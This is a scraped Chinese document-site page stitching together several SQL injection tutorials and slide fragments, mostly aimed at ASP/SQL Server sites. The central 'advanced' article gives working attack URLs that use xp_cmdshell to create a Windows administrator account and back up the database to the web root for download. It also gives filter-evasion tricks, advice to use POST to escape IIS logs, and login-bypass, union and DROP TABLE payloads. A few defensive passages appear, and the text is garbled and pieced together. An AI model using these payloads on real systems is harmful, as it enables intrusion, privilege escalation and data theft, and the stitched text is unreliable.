SQL 注入高级篇

合集下载

SQL注入经典教程(珍藏版)

SQL注入经典教程(珍藏版)

听说很多人想学SQL手工注入,但网上的资料都很不全,我在家没事就帮大家找了一些关于SQL手工注入经典的教程,希望能给大家带来帮助......SQL 注入天书 - ASP 注入漏洞全接触收藏引言随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。

但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。

用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection,即SQL注入。

SQL注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。

能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

根据国情,国内的网站用 ASP+Access 或 SQLServer 的占 70% 以上,PHP+MySQ 占 20%,其他的不足 10%。

在本文,我们从分入门、进阶至高级讲解一下 ASP 注入的方法及技巧,PHP 注入的文章由 NB 联盟的另一位朋友zwell 撰写,希望对安全工作者和程序员都有用处。

了解 ASP 注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。

大家准备好了吗? Lets Go...入门篇如果你以前没试过SQL注入的话,那么第一步先把 IE 菜单 =>工具 => Internet 选项 => 高级 => 显示友好 HTTP 错误信息前面的勾去掉。

否则,不论服务器返回什么错误,IE都只显示为 HTTP 500 服务器错误,不能获得更多的提示信息。

超炫PPTSQL注入

超炫PPTSQL注入
超炫PPT SQL注入
• SQL注入简介 • SQL注入攻击手段 • 如何防范SQL注入 • SQL注入案例分析 • 总结与展望
01
SQL注入简介
SQL注入的定义
SQL注入是一种利用应用程序对用户 输入验证不严格或未验证的漏洞,向 数据库查询中注入恶意SQL代码,从 而执行非授权操作或窃取敏感数据的 安全攻击手段。
输入验证和清理
1
对用户输入进行验证和清理是防范SQL注入的重 要步骤。
2
对所有用户输入进行验证,确保输入符合预期的 格式和类型,可以排除恶意输入。
3
对用户输入进行清理,如转义特殊字符,可以防 止恶意输入被当作SQL代码执行。
错误处理
01
02
03
错误的错误处理方式可能会暴露 数据库的敏感信息,从而给攻击 者提供更多机会进行SQL注入攻 击。
报错注入
总结词
报错注入是一种利用数据库报错信息来推断 其他数据的技术。
详细描述
攻击者通过向应用程序输入特定的SQL语句 片段,使得应用程序在执行查询时返回数据 库的错误信息。攻击者再通过分析这些错误 信息来推断出数据库中的敏感数据。
03
如何防范SQL注入
参数化查询
参数化查询是一种有效的防止SQL注入的方法。它通过将输入数据与SQL语句分开处理,确保输入数 据被当作数据而不是SQL代码执行。
它通过在用户输入中插入或"注入"恶 意SQL代码,使得原本的查询逻辑被 篡改,进而达到攻击者的目的。
SQL注入的危害
数据泄露
攻击者可以利用SQL注入获取数 据库中的敏感信息,如用户密码、 个人信息等。
数据篡改
攻击者可以修改数据库中的数据, 如篡改用户账号信息、恶意删除 数据等。

sql注入参数

sql注入参数

sql注入参数SQL注入是一种常见的网络攻击方式,攻击者通过在输入框中注入恶意代码,从而获取数据库中的敏感信息。

其中,注入参数是指攻击者在注入恶意代码时所使用的参数,本文将从注入参数的角度来探讨SQL注入攻击。

注入参数的类型可以分为两种:数字型和字符型。

数字型注入参数通常用于查询语句中的where条件,攻击者可以通过在输入框中输入一些数字和符号来构造恶意代码,从而获取数据库中的敏感信息。

例如,攻击者可以在输入框中输入“1 or 1=1”,这样查询语句就会变成“select * from table where id=1 or 1=1”,从而获取表中所有的数据。

字符型注入参数通常用于查询语句中的like条件,攻击者可以通过在输入框中输入一些特殊字符来构造恶意代码,从而获取数据库中的敏感信息。

例如,攻击者可以在输入框中输入“' or 1=1 --”,这样查询语句就会变成“select * from table where name='' or 1=1 --”,从而获取表中所有的数据。

注入参数的位置也是攻击者需要考虑的因素。

注入参数可以出现在查询语句的任何位置,包括where条件、like条件、order by条件等。

攻击者需要根据具体情况来选择注入参数的位置,以达到最大的攻击效果。

注入参数的长度也是攻击者需要考虑的因素。

注入参数的长度越长,攻击者就越容易构造恶意代码,从而获取数据库中的敏感信息。

因此,攻击者通常会尝试在输入框中输入一些特别长的字符串,以测试系统的安全性。

注入参数是SQL注入攻击中的一个重要因素,攻击者需要根据具体情况来选择注入参数的类型、位置和长度,以达到最大的攻击效果。

为了防止SQL注入攻击,开发人员需要加强对输入框的过滤和验证,以确保用户输入的数据符合预期。

同时,数据库管理员也需要定期检查数据库中的数据,以发现并修复潜在的安全漏洞。

sql注入案例详解

sql注入案例详解

sql注入案例详解SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中注入恶意的SQL代码,从而可以绕过应用程序的验证和控制,进而执行恶意操作。

下面列举了10个常见的SQL注入案例,详细讲解其原理和防范措施。

1. 用户登录绕过:假设一个网站的用户登录页面是通过接收用户输入的用户名和密码来验证登录的。

攻击者可以在用户名或密码输入框中输入恶意的SQL语句,例如输入"admin' or '1'='1'",这样会绕过验证,登录成功。

防范措施:对接收到的用户输入进行严格的过滤和验证,使用参数化查询,避免直接拼接SQL语句。

2. 盲注:盲注是一种无需回显SQL查询结果的注入方式,攻击者通过构造恶意的SQL语句,可以通过判断返回结果的真假来获取敏感信息。

例如,攻击者可以通过构造类似于"1' and 1=1;"或"1' and 1=2;"的SQL语句,来判断条件是否成立。

防范措施:使用白名单或者黑名单来限制用户输入的合法内容,避免攻击者构造恶意的SQL语句。

3. UNION注入:UNION注入是一种利用UNION操作符的注入方式,攻击者通过构造恶意的SQL语句,可以将其他表的数据合并到查询结果中,从而获取敏感信息。

例如,攻击者可以通过构造类似于"1' UNION SELECT username, password FROM users;--"的SQL语句,来获取用户表中的用户名和密码。

防范措施:对用户输入进行严格的过滤和验证,使用参数化查询,避免直接拼接SQL语句。

4. 堆叠注入:堆叠注入是一种多个SQL语句连续执行的注入方式,攻击者通过构造恶意的SQL语句,可以执行多个SQL语句,从而实现恶意操作。

例如,攻击者可以通过构造类似于"1'; DROP TABLE users;--"的SQL语句,来删除用户表。

SQL注入攻击技术(四)--注入攻击类型与方式

SQL注入攻击技术(四)--注入攻击类型与方式

SQL注⼊攻击技术(四)--注⼊攻击类型与⽅式注⼊攻击类型与⽅式1、union注⼊①:查询union操作符⼀般与order by语句配合使⽤注意:union前⾯不能有order by,如果后⾯也有order by,前⾯的也是⽩写了,所以要想使⽤order by+union就得把有order by的语句封装成⼀个对象,再⽤select * from(......)as a union......。

只在有union的语句的最后写个order by是ok的,就是两个查询结果放⼀起之后再排序的意思union 和union all的区别,前者去重且排序、后者不去重不排序mysql> select id,email from member where username='kevin' union select username,pw from member where id=1;②:注⼊v' union select username,pw from member where id=1#%上图没有出现错误,但不代表类似的都不会出现错误,如果出错,他的原因可能是因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后⾯加order by进⾏排序,通过这个办法可以判断主查询的字段通过以下⽅法猜它有⼏个字段当查出有两个字段以后,再进⾏联合查询a' union select 1,2#%(如果有10个字段,就从1写到10)这⾥1,2这些说的是这个字段是可写可带⼊(带⼊数据库函数)的字段a' union select database(),user()#%,(再将这个带进去查询,结果如下图所⽰)2、information_schema注⼊①:获取pikachu数据库的表名,u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#如上图所⽰:获取到这个数据库中的表名,可以看出user表对我们最有⽤,那么接下来就要获取表中的字段了k' union select table_name,column_name ,2 from information_schema.columns where table_name='users'#%③:获取字段值(如果经验丰富的话就不需要前⾯的步骤,直接进⾏爆破)3、基于函数报错注⼊①:技巧思路:在MYSQL中使⽤⼀些指定的函数来制造报错,从⽽从报错信息中获取设定的信息,常见的select/insert/update/delete注⼊都可以使⽤报错⽅式来获取信息.②:背景条件:后台没有屏蔽数据库报错信息,在语法发⽣错误时会输出在前端.4、insert注⼊insert注⼊,就是前端注册的信息最终会被后台通过insert这个操作插⼊数据库,后台在接受前端的注册数据时没有做防SQL注⼊的处理,导致前端的输⼊可以直接拼接SQL到后端的insert相关内容中,导致了insert注⼊。

SQL注入详细讲解概括-GET注入、POST注入、HEAD注入

SQL注入详细讲解概括-GET注入、POST注入、HEAD注入

SQL注⼊详细讲解概括-GET注⼊、POST注⼊、HEAD注⼊SQL注⼊详细讲解概括-GET注⼊、POST注⼊、HEAD注⼊1、SQL注⼊流程2、GET注⼊3、POST注⼊4、HEAD注⼊⼀、SQL注⼊流程 1、SQL注⼊流程 · 寻找注⼊点—与数据库交互的地⽅,⽐如登录框,搜索框、URL地址栏、登陆界⾯、留⾔板等等 · 判断是否存在注⼊点,判断数据库类型,确定注⼊⽅法 · 构造特殊语句,查询数据库数据⼆、GET注⼊ 1、What is GET注⼊ 要搞懂GET注⼊之前,先搞懂什么是GET传参。

GET传参:⽤户输⼊的内容参数会被传到地址栏(URL栏),是通过GET的⽅式进⾏传参 · 特点:传参内容可见,传参长度有限,标识“?”,输⼊的内容会可能被url编码 GET注⼊:通过GET传参的⽅式,传输恶意语句,进⾏SQL注⼊ 2、如何进⾏GET注⼊ ⼀般情况判断为传参⽅式为GET传参⽅式,⾸先进⾏GET注⼊测试,判断是否存在GET注⼊ 如何判断是否存在GET注⼊:要想知道是否存在,⾸先搞原理,弄清楚是如何发⽣的 简单说,原本程序要执⾏的代码拼接了⽤户输⼊的数据然后执⾏,就是本来⽤户输⼊的数据是要被查询的,但是被数据库当作代码执⾏ OK,AND,只需知道输⼊的数据有没有被数据库当作代码,可以判断存不存在注⼊点 AND,⽤户输⼊的数据⼀定不是输⼊everying都⾏的,如果⽤户随便输⼊的数据都被当做代码执⾏,那么这个⽹站就失去了它的功能,这是⽹站开发者不允许的 SO,要输⼊什么数据才能被判断是否存在注⼊点呢 先来看⼀段代码 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id⽤户输⼊参数传⼊$id来输⼊1 >>>> $id=1 >>> sql语句就变成了下⾯这样$query = "SELECT first_name, last_name FROM users WHERE user_id = 1ok,look look 现在数据库收到的数据是这样的,,SELECT first_name, last_name FROM users WHERE user_id = 1AND,输⼊什么能够让数据库执⾏⼀些别的操作思考ing time(3min)当然是数据库语⾔了,,,试⼀试 or 怎么样ok,, >>> 1 or 1=1 >>> $id=1 or 1=1SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1输⼊的内容当作代码执⾏了 //这个叫做整形闭合 在来看⼀段,这次把变量⽤引号引起来,⽤单引号or⽤双引号,是不⼀样的破解⽅法$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"上⾯双引号⾥的是要被传⼊数据库执⾏的first,输⼊的数据被传⼊$id这个变量ok,那么输⼊⼀个 1 ,$id=1 and 此语句就变成了:SELECT first_name, last_name FROM users WHERE user_id = '1'那么要怎么做才能变成输⼊的数据变成代码执⾏呢?思考ing time(5min)ok,⽆论输⼊什么数据他都在引号⾥,那输⼊的数据就没有任何意义对吧,那就来突破引号,如何突破,,look here 》》 1' or 1=1 ' 》》 $id=1' or 1=1 ' 拼接试⼀试SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 ''FUCK,,有问题了,,不⼀样了 //这个叫做单引号闭合那么再来思考⼀个问题,当变量⽤双引号引起来怎么办,不是没⽤引号,也不是单引号思考ing time(2min)ok,easy 那就⽤双引号破解呗SELECT first_name, last_name FROM users WHERE user_id = "$id"look here 》》》 1" or 1=1 " 》》》 $id=1" or 1=1 "SELECT first_name, last_name FROM users WHERE user_id = "1" or 1=1 ""success,easy //这个叫做双引号闭合 OK,上⾯是能看到后端代码的,哪个⽹站愿意让你看到他的后端代码,It won't AND,看不到源码,怎么进⾏注⼊呢 so easy , 通过传⼊的恶意代码,观察页⾯情况,是否正常等,来判断是否存在注⼊点,确定注⼊⽅法 ⾸先我们找到传参点,进⾏注⼊尝试,⾸先判断闭合类型 SQL语句的闭合类型:整型闭合、单引号闭合、双引号闭合、单引号加括号、双引号加括号 · 整形闭合 1SELECT* FROM admin WHERE id=1; //整形闭合 模拟注⼊ ?id=1' => 报错 ?id=1'' => 报错 判断为整形闭合 · 单引号闭合 1SELECT* FROM admin WHERE id=‘1’; //单引号闭合 模拟注⼊ ?id=1' => 报错 ?id=1'' => 正常返回id=1的值 判断为单引号或者单引号括号闭合 任何闭合⽅式都这样在没有遇到相对应的闭合时,都会把这个符号当作⼀个整体,注释符也不例外 再次模拟注⼊ ?id=1'-+ => ⽆报错 => 单引号闭合 ?id=1'-+ => 报错 => 单引号括号闭合 · 双引号闭合 1SELECT* FROM admin WHERE id="1"; //双引号闭合 ?id=1' => 正常返回id=1的值 ?id=1" => 报错 判断为双引号闭合或者双引号括号闭合 再次模拟注⼊ ?id=1"-+ => ⽆报错 => 双引号闭合 ?id=1"-+ => 报错 => 双引号括号闭合 · 总结 判断闭合类型 ⾸先尝试:?id=1' ?id=1" 不报错 => 整形闭合 报错 => 单引号报错,双引号不报错 => 尝试 ?id=1'-+ => ⽆报错单引号闭合,报错单引号加括号闭合 报错 => 单引号不报错,双引号报错 => 尝试 ?id=1"-+ => ⽆报错双引号闭合,报错双引号加括号闭合 注⼊点找到,确定闭合⽅式开始进⾏注⼊攻击,以DVWA靶场为例 First,观察url栏判断为GET传参,先进⾏正常内容输⼊,输⼊1 ,看返回结果 第⼆步,测试是否存在注⼊,进⾏恶意语句测试,不知道闭合类型,先从整形闭合开始判断 1 and 1=1 页⾯正常,与id=1 时返回的内容⼀样不确定是否注⼊成功,因为and 1=1 恒成⽴所以还得进⾏第⼆次判断,1 and 1=2 页⾯正常,与id=1 时返回的内容⼀样,and 1=2 是恒不成⽴的,如果数据库执⾏了代码那么应该是没有数据返回的,现在返回了数据,so,不是整形闭合 ok,既然不是整形闭合,那么去尝试是不是单引号闭合,输⼊ 1',,,把错误显⽰出来了,说明是单引号闭合,既存在注⼊,⼜确定是单引号闭合,那么可以进⾏注⼊了。

sql注入示例

sql注入示例

sql注入示例SQL注入是一种常见的网络攻击方法,能够使攻击者获得系统敏感信息并对系统进行入侵操作。

本篇文章将通过一些示例来让读者更详细地了解SQL注入的原理以及如何避免SQL注入攻击。

首先,我们需要了解SQL注入是如何发生的。

简单来说,当我们想要向数据库发送查询请求时,我们通常会使用类似“SELECT * FROM users WHERE username='John'”这样的语句。

攻击者可能会尝试通过输入一些特殊的字符来对这个语句进行篡改。

比如说,如果我们在用户名输入框中输入“' or 1=1--”,那么攻击者可能会在查询时将条件改为“WHERE username='' or 1=1--'”,这意味着select语句在执行时将会被解释为“SELECT * FROM users WHERE username='' or1=1--”,这将返回所有用户的信息,因为1=1是一个始终为真的条件,而--表示注释掉了后续的语句。

这就是一个成功的SQL注入攻击。

接下来,让我们看一下如何避免SQL注入攻击。

其中一个解决方案是使用参数化查询,也就是使用语句“SELECT * FROM users WHE RE username=?”,然后将用户输入的值作为参数值传递给查询,这将保证用户输入的值不会被错误地解释为查询语句的一部分。

另一种解决方案是对用户输入进行过滤和验证,比如说使用正则表达式或其他适当的方法过滤掉一些特定的字符和命令。

除此之外,还有一些其他方法可以防止SQL注入攻击,比如加密敏感信息、限制数据库用户的权限以及对所有输入数据进行严格的验证和过滤。

最后,让我们来看一些常见的SQL注入攻击示例。

比如以下语句:1.SELECT * FROM users WHERE username='admin' AND password='admin'攻击者将尝试在密码输入框输入如下内容:' OR 1=1--这样会将原始语句变为:SELECT * FROM users WHERE username='admin' ANDpassword='' OR 1=1--这个查询返回了所有用户的信息,因为1=1总是为真。

常用sql注入

常用sql注入

常用SQL注入概述SQL注入是一种让攻击者能够在应用程序中执行恶意的SQL语句的漏洞类型。

通过在用户输入中注入恶意的SQL代码,攻击者可以绕过应用程序的安全验证,获取到敏感数据、修改数据甚至控制数据库服务器。

由于SQL注入是一种常见且易于利用的漏洞,开发人员需要了解并采取相应的防御措施。

本文将深入探讨常用的SQL注入技术,包括基于错误的注入、基于联合查询的注入和基于时间延迟的注入等,并介绍相应的防御方法。

常见的SQL注入技术1. 基于错误的注入基于错误的注入是最常见的SQL注入技术之一。

攻击者通过在用户输入中注入特定的SQL代码来触发应用程序生成错误消息,从而获取到关键信息。

以下是一些常见的基于错误的注入技术:•’ OR ‘1’=‘1’–:这是一种简单的注入技术,通过在输入框中输入该代码,攻击者可以绕过登录验证,获取到全部用户的信息。

•’ UNION SELECT null,username||password,null,null,null FROM users–:通过联合查询注入,攻击者可以获取到用户表中的用户名和密码等重要信息。

2. 基于联合查询的注入基于联合查询的注入是一种高级的SQL注入技术。

攻击者利用应用程序中存在的联合查询漏洞,执行恶意的SQL代码,并通过返回结果获得敏感信息。

以下是一些常见的基于联合查询的注入技术:•’ UNION SELECT 1,2,3,4,5–:通过联合查询注入获取列数,攻击者可以根据返回结果调整注入代码,进一步获取数据。

•’ UNION SELECT null,table_name,null,null,null FROMinformation_schema.tables–:通过联合查询获取数据库中的表名,攻击者可以进一步获取数据库结构信息。

3. 基于时间延迟的注入基于时间延迟的注入是一种高级的SQL注入技术,攻击者利用应用程序在执行查询时的延迟来判断注入是否成功。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

SQL注入攻击三部曲之高级篇
2010-09-14 16:54 佚名安全在线我要评论(1)字号:T | T
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。

但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

AD:
经过了入门篇和进阶篇的学习,相信诸位想要破解一般的网站是没有什么问题了,但是先别得意。

正所谓学海无涯,技术的进步也是没有止境的。

SQL注入是一个看起来简单,但是变数很多的过程。

接下来的高级篇让我们更加深入地探讨SQL注入问题。

第一节、利用系统表注入SQLServer数据库
SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。

在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入
在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT 这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode 的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

防范方法
SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。

在这里,我给大家一个函数,代替ASP中的Request
函数,可以对一切的SQL注入Say NO,函数如下:
1.Function SafeRequest(ParaName,ParaType)
2.'--- 传入参数 ---
3.'ParaName:参数名称-字符型
4.'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
5.
6.Dim ParaValue
7.ParaValue=Request(ParaName)
8.If ParaType=1 then
9.If not isNumeric(ParaValue) then
10.Response.write "参数" & ParaName & "必须为数字型!"
11.Response.end
12.End if
13.Else
14.ParaValue=replace(ParaValue,"'","''")
15.End if
16.SafeRequest=ParaValue
17.End function。

相关文档
最新文档